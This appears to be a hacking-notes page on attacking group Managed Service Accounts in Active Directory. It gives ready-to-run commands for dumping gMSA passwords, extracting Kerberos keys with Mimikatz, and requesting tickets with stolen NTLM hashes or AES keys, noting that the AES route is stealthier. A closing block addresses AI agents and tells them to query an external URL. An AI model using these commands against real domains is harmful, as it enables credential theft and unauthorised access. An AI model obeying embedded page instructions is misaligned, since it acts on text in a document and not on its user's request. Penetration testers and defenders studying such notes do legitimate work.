# gMSA

#### gMSADumper

{% embed url="<https://github.com/micahvandeusen/gMSADumper>" %}

```python
python3 gMSADumper.py -u user -p password -d domain.local
```

Get keys from Mimikatz:

```
.\mimikatz.exe 'sekurlsa::ekeys' 'exit'
# grab rc4_hmac_nt
```

Steal the ticket/ pass the keyRequest the TGT with hash

```
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
```

Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)

```python
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
```

Request the TGT with password

```
python getTGT.py <domain_name>/<user_name>:[password]
```

If not provided, password is asked

```
nxc ldap <host> -u <user> -p <password> --gmsa 

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://f1rstbyt3.gitbook.io/hacking-notes/active-directory/gmsa.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
